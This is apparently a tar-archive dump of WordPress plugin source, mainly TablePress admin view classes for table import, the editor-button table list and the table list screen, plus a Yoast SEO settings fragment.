echo '<p>';
esc_html_e( 'Enable this feature if you want Twitter to display a preview with images and a text excerpt when a link to your site is shared.', 'wordpress-seo' );
echo '</p>';
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
do_action( 'wpseo_admin_twitter_section_internal' );
/**
* Admin Twitter section hook.
*
* @deprecated 19.10 No replacement available.
*/
do_action_deprecated(
'wpseo_admin_twitter_section',
[],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
index.php 0000666 00000000034 15112402147 0006362 0 ustar 00 <?php // Silence is golden.
view-import.php 0000666 00000040452 15112402147 0007545 0 ustar 00 <?php
/**
* Import Table View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Import Table View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Import_View extends TablePress_View {
/**
* List of WP feature pointers for this view.
*
* @since 1.0.0
* @var array
*/
protected $wp_pointers = array( 'tp100_wp_table_reloaded_import' );
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
parent::setup( $action, $data );
$this->admin_page->enqueue_script( 'import', array( 'jquery-core' ), array(
'import' => array(
'error_wp_table_reloaded_nothing_selected' => __( 'Error: You did not select what to import from WP-Table Reloaded!', 'tablepress' ),
),
) );
$this->process_action_messages( array(
'error_import' => __( 'Error: The import failed.', 'tablepress' ),
'error_no_zip_import' => __( 'Error: Import of ZIP files is not available on this server.', 'tablepress' ),
'error_import_zip_open' => __( 'Error: The ZIP file could not be opened.', 'tablepress' ),
'error_import_zip_content' => __( 'Error: The data in the ZIP file is invalid.', 'tablepress' ),
'error_import_no_existing_id' => __( 'Error: You selected to replace or append to an existing table, but did not select a table.', 'tablepress' ),
'error_import_source_invalid' => __( 'Error: The source for the import is invalid or could not be accessed.', 'tablepress' ),
'error_import_data' => __( 'Error: The data for the import is invalid.', 'tablepress' ),
'error_wp_table_reloaded_nothing_selected' => __( 'Error: You did not select what to import from WP-Table Reloaded!', 'tablepress' ),
'error_wp_table_reloaded_not_installed' => __( 'Error: Existing WP-Table Reloaded tables were not found in the database.', 'tablepress' ),
'error_import_wp_table_reloaded' => __( 'Error: The tables from WP-Table Reloaded could not be imported.', 'tablepress' ),
'error_wp_table_reloaded_dump_file' => __( 'Error: The WP-Table Reloaded Dump File could not be imported!', 'tablepress' ),
) );
$this->add_text_box( 'head', array( $this, 'textbox_head' ), 'normal' );
$this->add_meta_box( 'import-form', __( 'Import Tables', 'tablepress' ), array( $this, 'postbox_import_form' ), 'normal' );
if ( current_user_can( 'tablepress_import_tables_wptr' ) ) {
$this->add_meta_box( 'import-wp-table-reloaded', __( 'Import from WP-Table Reloaded', 'tablepress' ), array( $this, 'postbox_wp_table_reloaded_import' ), 'additional' );
}
add_filter( 'default_hidden_meta_boxes', array( $this, 'hide_import_wptr_postbox' ), 10, 2 );
}
/**
* Hide the "Import from WP-Table Reloaded postbox" by default, if WP-Table Reloaded is not installed. It can still be opened manually from the "Screen Options".
*
* @since 1.0.0
*/
public function hide_import_wptr_postbox( $hidden, $screen ) {
if ( 'tablepress_import' !== $screen->id ) {
return $hidden;
}
if ( ! $this->data['wp_table_reloaded_installed'] ) {
$hidden[] = 'tablepress_import-import-wp-table-reloaded';
}
return $hidden;
}
/**
* Print the screen head text.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the text box.
*/
public function textbox_head( array $data, array $box ) {
?>
<p>
<?php _e( 'TablePress can import tables from existing data, like from a CSV, XLS, or XLSX file from a spreadsheet application (e.g. Excel), an HTML file resembling a webpage, or its own JSON format.', 'tablepress' ); ?>
<?php _e( 'You can also import existing tables from the WP-Table Reloaded plugin below.', 'tablepress' ); ?>
</p>
<p>
<?php
_e( 'To import a table, select and enter the import source in the following form.', 'tablepress' );
if ( 0 < $data['tables_count'] ) {
echo ' ';
_e( 'You can also choose to import it as a new table, to replace an existing table, or to append the rows to an existing table.', 'tablepress' );
}
?>
</p>
<?php
}
/**
* Print the content of the "Import Tables" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_import_form( array $data, array $box ) {
?>
<table class="tablepress-postbox-table fixed">
<tbody>
<tr id="row-import-source">
<th class="column-1" scope="row" id="import-source-header"><?php _e( 'Import Source', 'tablepress' ); ?>:</th>
<td class="column-2">
<label for="tables-import-source-file-upload"><input name="import[source]" id="tables-import-source-file-upload" type="radio" aria-labelledby="import-source-header" value="file-upload"<?php checked( $data['import_source'], 'file-upload', true ); ?> /> <?php _e( 'File Upload', 'tablepress' ); ?></label>
<label for="tables-import-source-url"><input name="import[source]" id="tables-import-source-url" type="radio" aria-labelledby="import-source-header" value="url"<?php checked( $data['import_source'], 'url', true ); ?> /> <?php _e( 'URL', 'tablepress' ); ?></label>
<?php if ( ( ! is_multisite() && current_user_can( 'manage_options' ) ) || is_super_admin() ) { ?>
<label for="tables-import-source-server"><input name="import[source]" id="tables-import-source-server" type="radio" aria-labelledby="import-source-header" value="server"<?php checked( $data['import_source'], 'server', true ); ?> /> <?php _e( 'File on server', 'tablepress' ); ?></label>
<?php } ?>
<label for="tables-import-source-form-field"><input name="import[source]" id="tables-import-source-form-field" type="radio" aria-labelledby="import-source-header" value="form-field"<?php checked( $data['import_source'], 'form-field', true ); ?> /> <?php _e( 'Manual Input', 'tablepress' ); ?></label>
</td>
</tr>
<tr id="row-import-source-file-upload" class="bottom-border">
<th class="column-1 top-align" scope="row"><label for="tables-import-file-upload"><?php _e( 'Select file', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<input name="import_file_upload" id="tables-import-file-upload" type="file" class="large-text" style="box-sizing: border-box;" />
<?php
if ( $data['zip_support_available'] ) {
echo '<br /><span class="description">' . __( 'You can import multiple tables by placing them in a ZIP file.', 'tablepress' ) . '</span>';
}
?>
</td>
</tr>
<tr id="row-import-source-url" class="bottom-border">
<th class="column-1 top-align" scope="row"><label for="tables-import-url"><?php _e( 'File URL', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<input type="text" name="import[url]" id="tables-import-url" class="large-text" value="<?php echo esc_attr( $data['import_url'] ); ?>" />
<?php
if ( $data['zip_support_available'] ) {
echo '<br /><span class="description">' . __( 'You can import multiple tables by placing them in a ZIP file.', 'tablepress' ) . '</span>';
}
?>
</td>
</tr>
<?php if ( ( ! is_multisite() && current_user_can( 'manage_options' ) ) || is_super_admin() ) { ?>
<tr id="row-import-source-server" class="bottom-border">
<th class="column-1 top-align" scope="row"><label for="tables-import-server"><?php _e( 'Server Path to file', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<input type="text" name="import[server]" id="tables-import-server" class="large-text" value="<?php echo esc_attr( $data['import_server'] ); ?>" />
<?php
if ( $data['zip_support_available'] ) {
echo '<br /><span class="description">' . __( 'You can import multiple tables by placing them in a ZIP file.', 'tablepress' ) . '</span>';
}
?>
</td>
</tr>
<?php } ?>
<tr id="row-import-source-form-field" class="bottom-border">
<th class="column-1 top-align" scope="row"><label for="tables-import-form-field"><?php _e( 'Import data', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<textarea name="import[form_field]" id="tables-import-form-field" rows="15" cols="40" class="large-text"><?php echo esc_textarea( $data['import_form_field'] ); ?></textarea>
</td>
</tr>
<tr class="top-border bottom-border">
<th class="column-1" scope="row"><label for="tables-import-format"><?php _e( 'Import Format', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<select id="tables-import-format" name="import[format]">
<?php
foreach ( $data['import_formats'] as $format => $name ) {
$selected = selected( $format, $data['import_format'], false );
echo "<option{$selected} value=\"{$format}\">{$name}</option>";
}
?>
</select>
<?php
if ( ! $data['html_import_support_available'] ) {
echo '<br /><span class="description">' . __( 'Import of HTML files is not available on your server.', 'tablepress' ) . '</span>';
}
?>
</td>
</tr>
<tr id="row-import-type" class="top-border">
<th class="column-1" scope="row" id="import-type-header"><?php _e( 'Add, Replace, or Append?', 'tablepress' ); ?>:</th>
<td class="column-2">
<label for="tables-import-type-add"><input name="import[type]" id="tables-import-type-add" type="radio" aria-labelledby="import-type-header" value="add"<?php checked( $data['import_type'], 'add', true ); ?> /> <?php _e( 'Add as new table', 'tablepress' ); ?></label>
<label for="tables-import-type-replace"><input name="import[type]" id="tables-import-type-replace" type="radio" aria-labelledby="import-type-header" value="replace"<?php checked( $data['import_type'], 'replace', true ); ?><?php disabled( $data['tables_count'] > 0, false, true ); ?> /> <?php _e( 'Replace existing table', 'tablepress' ); ?></label>
<label for="tables-import-type-append"><input name="import[type]" id="tables-import-type-append" type="radio" aria-labelledby="import-type-header" value="append"<?php checked( $data['import_type'], 'append', true ); ?><?php disabled( $data['tables_count'] > 0, false, true ); ?> /> <?php _e( 'Append rows to existing table', 'tablepress' ); ?></label>
</td>
</tr>
<tr id="row-import-existing-table" class="bottom-border">
<th class="column-1" scope="row"><label for="tables-import-existing-table"><?php _e( 'Table to replace or append to', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<select id="tables-import-existing-table" name="import[existing_table]"<?php disabled( $data['tables_count'] > 0, false, true ); ?>>
<option value=""><?php _e( '— Select —', 'tablepress' ); ?></option>
<?php
foreach ( $data['table_ids'] as $table_id ) {
$table = TablePress::$model_table->load( $table_id, false, false ); // Load table, without table data, options, and visibility settings
if ( ! current_user_can( 'tablepress_edit_table', $table['id'] ) ) {
continue;
}
if ( '' === trim( $table['name'] ) ) {
$table['name'] = __( '(no name)', 'tablepress' );
}
$text = esc_html( sprintf( __( 'ID %1$s: %2$s', 'tablepress' ), $table['id'], $table['name'] ) );
$selected = selected( $table['id'], $data['import_existing_table'], false );
echo "<option{$selected} value=\"{$table['id']}\">{$text}</option>";
}
?>
</select>
</td>
</tr>
<tr class="top-border">
<td class="column-1"></td>
<td class="column-2"><input type="submit" value="<?php echo esc_attr_x( 'Import', 'button', 'tablepress' ); ?>" class="button button-primary button-large" name="submit" /></td>
</tr>
</tbody>
</table>
<?php
}
/**
* Print the content of the "Import from WP-Table Reloaded" post meta box.
*
* @since 1.0.0
*
* @param array $data Data for this screen.
* @param array $box Information about the meta box.
*/
public function postbox_wp_table_reloaded_import( array $data, array $box ) {
?>
<p>
<?php _e( 'To import all tables from a WP-Table Reloaded installation, choose the relevant import source below.', 'tablepress' ); ?>
<br />
<?php _e( 'If WP-Table Reloaded is installed on this site, the “WordPress database” option is recommended.', 'tablepress' ); ?>
<?php _e( 'If you want to import tables from another site, create a “WP-Table Reloaded Dump File” there and upload it below, after choosing “WP-Table Reloaded Dump File”.', 'tablepress' ); ?>
<br />
<?php printf( __( 'Before doing this, it is highly recommended to read the <a href="%s">migration guide</a> on the TablePress website.', 'tablepress' ), 'https://tablepress.org/migration-from-wp-table-reloaded/' ); ?>
</p>
<table class="tablepress-postbox-table fixed">
<tbody>
<tr id="row-import-wp-table-reloaded-source">
<th class="column-1" scope="row"><?php _e( 'Import Source', 'tablepress' ); ?>:</th>
<td class="column-2">
<label for="import-wp-table-reloaded-source-db"><input name="import[wp_table_reloaded][source]" id="import-wp-table-reloaded-source-db" type="radio" value="db" <?php
checked( $data['import_wp_table_reloaded_source'], 'db', true );
disabled( $data['wp_table_reloaded_installed'], false, true );
?> /> <?php _e( 'WordPress database', 'tablepress' ); ?></label>
<label for="import-wp-table-reloaded-source-dump-file"><input name="import[wp_table_reloaded][source]" id="import-wp-table-reloaded-source-dump-file" type="radio" value="dump-file"<?php checked( $data['import_wp_table_reloaded_source'], 'dump-file', true ); ?> /> <?php _e( 'WP-Table Reloaded Dump File', 'tablepress' ); ?></label>
</td>
</tr>
<tr id="row-import-wp-table-reloaded-source-dump-file" class="bottom-border">
<th class="column-1 top-align" scope="row"><label for="tables-import-wp-table-reloaded-dump-file"><?php _e( 'Select file', 'tablepress' ); ?>:</label></th>
<td class="column-2">
<input name="import_wp_table_reloaded_file_upload" id="tables-import-wp-table-reloaded-dump-file" type="file" class="large-text" style="box-sizing: border-box;" />
</td>
</tr>
<tr id="row-import-wp-table-reloaded-source-db" class="bottom-border">
<td class="column-1 top-align" scope="row" style="padding:2px;"></td>
<td class="column-2" style="padding:2px;"></td>
</tr>
<tr class="top-border">
<th class="column-1" scope="row"><?php _e( 'Import tables', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="import-wp-table-reloaded-tables"> <input type="checkbox" id="import-wp-table-reloaded-tables" name="import[wp_table_reloaded][tables]" value="true" checked="checked" /> <?php _e( 'Import all tables and their settings from WP-Table Reloaded.', 'tablepress' ); ?> <span class="description"><?php _e( '(recommended)', 'tablepress' ); ?></span></label></td>
</tr>
<tr class="bottom-border">
<th class="column-1" scope="row"><?php _e( 'Import styling', 'tablepress' ); ?>:</th>
<td class="column-2"><label for="import-wp-table-reloaded-css"> <input type="checkbox" id="import-wp-table-reloaded-css" name="import[wp_table_reloaded][css]" value="true" checked="checked" /> <?php _e( 'Try to automatically convert the “Custom CSS” code from the “Plugin Options” screen of WP-Table Reloaded.', 'tablepress' ); ?></label></td>
</tr>
<tr class="top-border">
<td class="column-1" scope="row"></td>
<td class="column-2"><input type="submit" value="<?php echo esc_attr_x( 'Import from WP-Table Reloaded', 'button', 'tablepress' ); ?>" class="button button-large" id="submit_wp_table_reloaded_import" name="submit_wp_table_reloaded_import" /></td>
</tr>
</tbody>
</table>
<?php
}
/**
* Set the content for the WP feature pointer about the WP-Table Reloaded import feature.
*
* @since 1.0.0
*/
public function wp_pointer_tp100_wp_table_reloaded_import() {
if ( ! $this->data['wp_table_reloaded_installed'] ) {
return;
}
$content = '<h3>' . __( 'TablePress Feature: Import from WP-Table Reloaded', 'tablepress' ) . '</h3>';
$content .= '<p>' . __( 'You can import your existing tables and “Custom CSS” from WP-Table Reloaded into TablePress.', 'tablepress' ) . '</p>';
$this->admin_page->print_wp_pointer_js( 'tp100_wp_table_reloaded_import', '#tablepress_import-import-wp-table-reloaded', array(
'content' => $content,
'position' => array( 'edge' => 'bottom', 'align' => 'left', 'offset' => '16 -16' ),
) );
}
} // class TablePress_Import_View
view-editor_button_thickbox.php 0000666 00000034720 15112402147 0013010 0 ustar 00 <?php
/**
* Editor Button Thickbox List View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* Editor Button Thickbox List View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_Editor_Button_Thickbox_View extends TablePress_View {
/**
* Object for the Editor Button Thickbox List Table.
*
* @since 1.0.0
* @var TablePress_Editor_Button_Thickbox_List_Table
*/
protected $wp_list_table;
/**
* Initialize the View class.
*
* @since 1.0.0
*/
public function __construct() {
// Intentionally left empty, to void code from parent::__construct().
}
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
$this->action = $action;
$this->data = $data;
$this->wp_list_table = new TablePress_Editor_Button_Thickbox_List_Table();
$this->wp_list_table->set_items( $this->data['table_ids'] );
$this->wp_list_table->prepare_items();
}
/**
* Render the current view.
*
* @since 1.0.0
*/
public function render() {
_wp_admin_html_begin();
wp_print_styles( 'colors' );
wp_print_scripts( 'jquery-core' );
?>
<title><?php printf( __( '%1$s ‹ %2$s', 'tablepress' ), __( 'List of Tables', 'tablepress' ), 'TablePress' ); ?></title>
<style type="text/css">
/* Account for .wp-toolbar */
html {
padding-top: 0 !important;
}
body {
margin: 0 0 15px 15px;
}
/* Fix search field positioning */
#tablepress-page .search-box {
position: relative;
height: auto;
width: auto;
float: right;
clear: none;
margin: 0;
}
#tablepress-page .subtitle {
float: left;
padding: 10px 0 0;
}
#tablepress-page .search-box input[name="s"] {
float: left;
width: auto;
}
/* Fix pagination layout */
#tablepress-page .tablenav-pages {
text-align: left;
}
#tablepress-page .tablenav .tablenav-pages a {
padding: 5px 12px;
font-size: 16px;
}
#tablepress-page .tablenav-pages .pagination-links .paging-input {
font-size: 16px;
}
#tablepress-page .tablenav-pages .pagination-links .current-page {
padding: 4px;
font-size: 16px;
}
/* Width and font weight for the columns */
.tablepress-editor-button-list thead .column-table_id {
width: 50px;
}
.tablepress-editor-button-list tbody .column-table_id,
.tablepress-editor-button-list tbody .column-table_name {
font-weight: bold;
}
.tablepress-editor-button-list thead .column-table_action {
width: 150px;
}
/* Responsiveness on the All Tables screen */
@media screen and (max-width: 782px) {
.tablepress-editor-button-list .column-table_id {
display: none !important;
padding: 3px 8px 3px 35%;
}
}
/* Shortcode input field */
#tablepress-page .table-shortcode-inline {
background: transparent;
border: none;
color: #333333;
width: 110px;
margin: 0;
padding: 0;
font-weight: bold;
font-size: 14px;
-webkit-box-shadow: none;
box-shadow: none;
text-align: center;
vertical-align: top;
}
#tablepress-page .table-shortcode {
cursor: text;
}
<?php if ( is_rtl() ) : ?>
/* RTL CSS */
body.rtl {
margin: 0 15px 15px 0;
}
.rtl #tablepress-page .search-box {
float: left;
}
.rtl #tablepress-page .subtitle {
float: right;
}
.rtl #tablepress-page .search-box input[name="s"] {
float: right;
}
.rtl #tablepress-page .table-shortcode-inline {
width: 125px;
font-size: 13px;
vertical-align: baseline;
}
<?php endif; ?>
</style>
</head>
<body class="wp-admin wp-core-ui js iframe<?php echo is_rtl() ? ' rtl' : ''; ?>">
<div id="tablepress-page" class="wrap">
<h1><?php printf( __( '%1$s ‹ %2$s', 'tablepress' ), __( 'List of Tables', 'tablepress' ), 'TablePress' ); ?></h1>
<div id="poststuff">
<p>
<?php _e( 'This is a list of all available tables.', 'tablepress' ); ?> <?php _e( 'You may insert a table into a post or page here.', 'tablepress' ); ?>
</p><p>
<?php printf( __( 'Click the “%1$s” button for the desired table to automatically insert the<br />corresponding Shortcode (%2$s) into the editor.', 'tablepress' ), __( 'Insert Shortcode', 'tablepress' ), '<input type="text" class="table-shortcode table-shortcode-inline ltr" value="' . esc_attr( '[' . TablePress::$shortcode . ' id=<ID> /]' ) . '" readonly="readonly" />' ); ?>
</p>
<?php
if ( ! empty( $_GET['s'] ) ) {
printf( '<span class="subtitle">' . __( 'Search results for “%s”', 'tablepress' ) . '</span>', esc_html( wp_unslash( $_GET['s'] ) ) );
}
?>
<form method="get" action="">
<input type="hidden" name="action" value="tablepress_<?php echo $this->action; ?>" />
<?php
wp_nonce_field( TablePress::nonce( $this->action ), '_wpnonce', false );
$this->wp_list_table->search_box( __( 'Search Tables', 'tablepress' ), 'tables_search' );
?>
</form>
<?php $this->wp_list_table->display(); ?>
</div>
</div>
<script type="text/javascript">
jQuery( document ).ready( function( $ ) {
// Toggle list table rows on small screens
$( '.tablepress-editor-button-list' )
.on( 'click', '.toggle-row', function() {
$( this ).closest( 'tr' ).toggleClass( 'is-expanded' );
})
.on( 'click', '.insert-shortcode', function() {
var win = window.dialogArguments || opener || parent || top;
win.send_to_editor( $(this).attr( 'title' ) );
} );
} );
</script>
</body>
</html>
<?php
}
} // class TablePress_Editor_Button_View
/**
* TablePress Editor Button Thickbox List Table Class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @link https://codex.wordpress.org/Class_Reference/WP_List_Table
* @since 1.0.0
*/
class TablePress_Editor_Button_Thickbox_List_Table extends WP_List_Table {
/**
* Number of items of the initial data set (before sort, search, and pagination).
*
* @since 1.0.0
* @var int
*/
protected $items_count = 0;
/**
* Initialize the List Table.
*
* @since 1.0.0
*/
public function __construct() {
parent::__construct( array(
'singular' => 'tablepress-table', // Singular name of the listed records.
'plural' => 'tablepress-editor-button-list', // Plural name of the listed records.
'ajax' => false, // Does this list table support AJAX?
'screen' => get_current_screen(), // WP_Screen object.
) );
}
/**
* Set the data items (here: tables) that are to be displayed by the List Tables, and their original count.
*
* @since 1.0.0
*
* @param array $items Tables to be displayed in the List Table.
*/
public function set_items( array $items ) {
$this->items = $items;
$this->items_count = count( $items );
}
/**
* Check whether the user has permissions for certain AJAX actions.
* (not used, but must be implemented in this child class)
*
* @since 1.0.0
*
* @return bool true (Default value).
*/
public function ajax_user_can() {
return true;
}
/**
* Get a list of columns in this List Table.
*
* Format: 'internal-name' => 'Column Title'.
*
* @since 1.0.0
*
* @return array List of columns in this List Table.
*/
public function get_columns() {
$columns = array(
// "name" is special in WP, which is why we prefix every entry here, to be safe!
'table_id' => __( 'ID', 'tablepress' ),
'table_name' => __( 'Table Name', 'tablepress' ),
'table_description' => __( 'Description', 'tablepress' ),
'table_action' => __( 'Action', 'tablepress' ),
);
return $columns;
}
/**
* Get a list of columns that are sortable.
*
* Format: 'internal-name' => array( $field for $item[ $field ], true for already sorted ).
*
* @since 1.0.0
*
* @return array List of sortable columns in this List Table.
*/
protected function get_sortable_columns() {
// No sorting on the Empty List placeholder.
if ( ! $this->has_items() ) {
return array();
}
$sortable_columns = array(
'table_id' => array( 'id', true ), // true means its already sorted
'table_name' => array( 'name', false ),
'table_description' => array( 'description', false ),
);
return $sortable_columns;
}
/**
* Gets the name of the default primary column.
*
* @since 1.7.0
*
* @return string Name of the default primary column, in this case, the table name.
*/
protected function get_default_primary_column_name() {
return 'table_name';
}
/**
* Render a cell in the "table_id" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_id( array $item ) {
return esc_html( $item['id'] );
}
/**
* Render a cell in the "table_name" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_name( array $item ) {
if ( '' === trim( $item['name'] ) ) {
$item['name'] = __( '(no name)', 'tablepress' );
}
return esc_html( $item['name'] );
}
/**
* Render a cell in the "table_description" column.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_description( array $item ) {
if ( '' === trim( $item['description'] ) ) {
$item['description'] = __( '(no description)', 'tablepress' );
}
return esc_html( $item['description'] );
}
/**
* Render a cell in the "table_action" column, i.e. the "Insert" link.
*
* @since 1.0.0
*
* @param array $item Data item for the current row.
* @return string HTML content of the cell.
*/
protected function column_table_action( array $item ) {
return '<input type="button" class="insert-shortcode button" title="' . esc_attr( '[' . TablePress::$shortcode . " id={$item['id']} /]" ) . '" value="' . esc_attr__( 'Insert Shortcode', 'tablepress' ) . '" />';
}
/**
* Holds the message to be displayed when there are no items in the table.
*
* @since 1.0.0
*/
public function no_items() {
_e( 'No tables found.', 'tablepress' );
if ( 0 === $this->items_count ) {
echo ' ' . __( 'You should add or import a table on the TablePress screens to get started!', 'tablepress' );
}
}
/**
* Generate the elements above or below the table (like bulk actions and pagination).
*
* In comparison with parent class, this has modified HTML (no nonce field), and a check whether there are items.
*
* @since 1.0.0
*
* @param string $which Location ("top" or "bottom").
*/
protected function display_tablenav( $which ) {
if ( ! $this->has_items() ) {
return;
}
?>
<div class="tablenav <?php echo esc_attr( $which ); ?>">
<div class="alignleft actions">
<?php $this->bulk_actions( $which ); ?>
</div>
<?php
$this->extra_tablenav( $which );
$this->pagination( $which );
?>
<br class="clear" />
</div>
<?php
}
/**
* Callback to determine whether the given $item contains the search term.
*
* @since 1.0.0
*
* @param string $item Table ID that shall be searched.
* @return bool Whether the search term was found or not.
*/
protected function _search_callback( $item ) {
static $term, $json_encoded_term;
if ( is_null( $term ) || is_null( $json_encoded_term ) ) {
$term = wp_unslash( $_GET['s'] );
$json_encoded_term = substr( wp_json_encode( $term, TABLEPRESS_JSON_OPTIONS ), 1, -1 );
}
// Load table again, with table data, but without options and visibility settings.
$item = TablePress::$model_table->load( $item, true, false );
if ( isset( $item['is_corrupted'] ) && $item['is_corrupted'] ) {
return false; // Don't search corrupted tables
}
// Search from easy to hard, so that "expensive" code maybe doesn't have to run.
if ( false !== stripos( $item['id'], $term )
|| false !== stripos( $item['name'], $term )
|| false !== stripos( $item['description'], $term )
|| false !== stripos( TablePress::get_user_display_name( $item['author'] ), $term )
|| false !== stripos( TablePress::format_datetime( $item['last_modified'], 'mysql', ' ' ), $term )
|| false !== stripos( wp_json_encode( $item['data'], TABLEPRESS_JSON_OPTIONS ), $json_encoded_term ) ) {
return true;
}
return false;
}
/**
* Callback to for the array sort function.
*
* @since 1.0.0
*
* @param array $item_a First item that shall be compared to.
* @param array $item_b The second item for the comparison.
* @return int (-1, 0, 1) depending on which item sorts "higher".
*/
protected function _order_callback( array $item_a, array $item_b ) {
global $orderby, $order;
if ( $item_a[ $orderby ] === $item_b[ $orderby ] ) {
return 0;
}
// Fields in this list table are all strings.
$result = strnatcasecmp( $item_a[ $orderby ], $item_b[ $orderby ] );
return ( 'asc' === $order ) ? $result : - $result;
}
/**
* Prepares the list of items for displaying, by maybe searching and sorting, and by doing pagination.
*
* @since 1.0.0
*/
public function prepare_items() {
global $orderby, $order, $s;
wp_reset_vars( array( 'orderby', 'order', 's' ) );
// Maybe search in the items.
if ( $s ) {
$this->items = array_filter( $this->items, array( $this, '_search_callback' ) );
}
// Load actual tables after search for less memory consumption.
foreach ( $this->items as &$item ) {
// Don't load data nor table options.
$item = TablePress::$model_table->load( $item, false, false );
}
// Break reference in foreach iterator.
unset( $item );
// Maybe sort the items.
$_sortable_columns = $this->get_sortable_columns();
if ( $orderby && ! empty( $this->items ) && isset( $_sortable_columns[ "table_{$orderby}" ] ) ) {
usort( $this->items, array( $this, '_order_callback' ) );
}
// Number of records to show per page.
$per_page = 15; // hard-coded, as there's no possibility to change this in the Thickbox
// Page number the user is currently viewing.
$current_page = $this->get_pagenum();
// Number of records in the array.
$total_items = count( $this->items );
// Slice items array to hold only items for the current page.
$this->items = array_slice( $this->items, ( ( $current_page - 1 ) * $per_page ), $per_page );
// Register pagination options and calculation results.
$this->set_pagination_args( array(
'total_items' => $total_items, // Total number of records/items
'per_page' => $per_page, // Number of items per page
'total_pages' => ceil( $total_items / $per_page ), // Total number of pages
) );
}
} // class TablePress_Editor_Button_Thickbox_List_Table
view-list.php 0000666 00000100717 15112402147 0007207 0 ustar 00 <?php
/**
* List Tables View
*
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
// Prohibit direct script loading.
defined( 'ABSPATH' ) || die( 'No direct script access allowed!' );
/**
* List Tables View class
* @package TablePress
* @subpackage Views
* @author Tobias Bäthge
* @since 1.0.0
*/
class TablePress_List_View extends TablePress_View {
/**
* Object for the All Tables List Table.
*
* @since 1.0.0
* @var TablePress_All_Tables_List_Table
*/
protected $wp_list_table;
/**
* Set up the view with data and do things that are specific for this view.
*
* @since 1.0.0
*
* @param string $action Action for this view.
* @param array $data Data for this view.
*/
public function setup( $action, array $data ) {
parent::setup( $action, $data );
add_thickbox();
$this->admin_page->enqueue_script( 'list', array( 'jquery-core' ), array(
'list' => array(
'shortcode_popup' => __( 'To embed this table into a post or page, use this Shortcode:', 'tablepress' ),
'donation-message-already-donated' => __( 'Thank you very much! Your donation is highly appreciated. You just contributed to the further development of TablePress!', 'tablepress' ),
'donation-message-maybe-later' => sprintf( __( 'No problem! I still hope you enjoy the benefits that TablePress adds to your site. If you should change your mind, you’ll always find the “Donate” button on the <a href="%s">TablePress website</a>.', 'tablepress' ), 'https://tablepress.org/' ),
),
) );
if ( $data['messages']['first_visit'] ) {
$this->add_header_message(
'<strong><em>' . __( 'Welcome!', 'tablepress' ) . '</em></strong><br />'
. __( 'Thank you for using TablePress for the first time!', 'tablepress' ) . ' '
. sprintf( __( 'If you encounter any questions or problems, please visit the <a href="%1$s">FAQ</a>, the <a href="%2$s">documentation</a>, and the <a href="%3$s">Support</a> section on the <a href="%4$s">plugin website</a>.', 'tablepress' ), 'https://tablepress.org/faq/', 'https://tablepress.org/documentation/', 'https://tablepress.org/support/', 'https://tablepress.org/' ) . '<br /><br />'
. $this->ajax_link( array( 'action' => 'hide_message', 'item' => 'first_visit', 'return' => 'list' ), __( 'Hide this message', 'tablepress' ) ),
'notice-info not-dismissible'
);
}
if ( $data['messages']['wp_table_reloaded_warning'] ) {
$this->add_header_message(
'<strong><em>' . __( 'Attention!', 'tablepress' ) . '</em></strong><br />'
. __( 'You have activated the plugin WP-Table Reloaded, which can not be used together with TablePress.', 'tablepress' ) . '<br />'
. __( 'It is strongly recommended that you switch from WP-Table Reloaded to TablePress, which not only fixes many problems, but also has more and better features than WP-Table Reloaded.', 'tablepress' ) . '<br />'
. sprintf( __( 'Please follow the <a href="%s">migration guide</a> to move your tables and then deactivate WP-Table Reloaded!', 'tablepress' ), 'https://tablepress.org/migration-from-wp-table-reloaded/' ) . '<br />'
. '<a href="' . TablePress::url( array( 'action' => 'import' ) ) . '" class="button button-primary button-large" style="color:#ffffff;margin-top:5px;">' . __( 'Import your tables from WP-Table Reloaded', 'tablepress' ) . '</a>',
'notice-error not-dismissible'
);
}
if ( $data['messages']['donation_message'] ) {
$this->add_header_message(
'<img alt="' . esc_attr__( 'Tobias Bäthge, developer of TablePress', 'tablepress' ) . '" src="https://secure.gravatar.com/avatar/50f1cff2e27a1f522b18ce229c057bc5?s=110" height="110" width="110" style="float:left;margin:1px 10px 40px 0;" />'
. __( 'Hi, my name is Tobias, I’m the developer of the TablePress plugin.', 'tablepress' ) . '<br /><br />'
. __( 'Thanks for using it! You’ve installed TablePress over a month ago.', 'tablepress' ) . ' '
. sprintf( _n( 'If everything works and you are satisfied with the results of managing your %s table, isn’t that worth a coffee or two?', 'If everything works and you are satisfied with the results of managing your %s tables, isn’t that worth a coffee or two?', $data['table_count'], 'tablepress' ), esc_html( $data['table_count'] ) ) . '<br />'
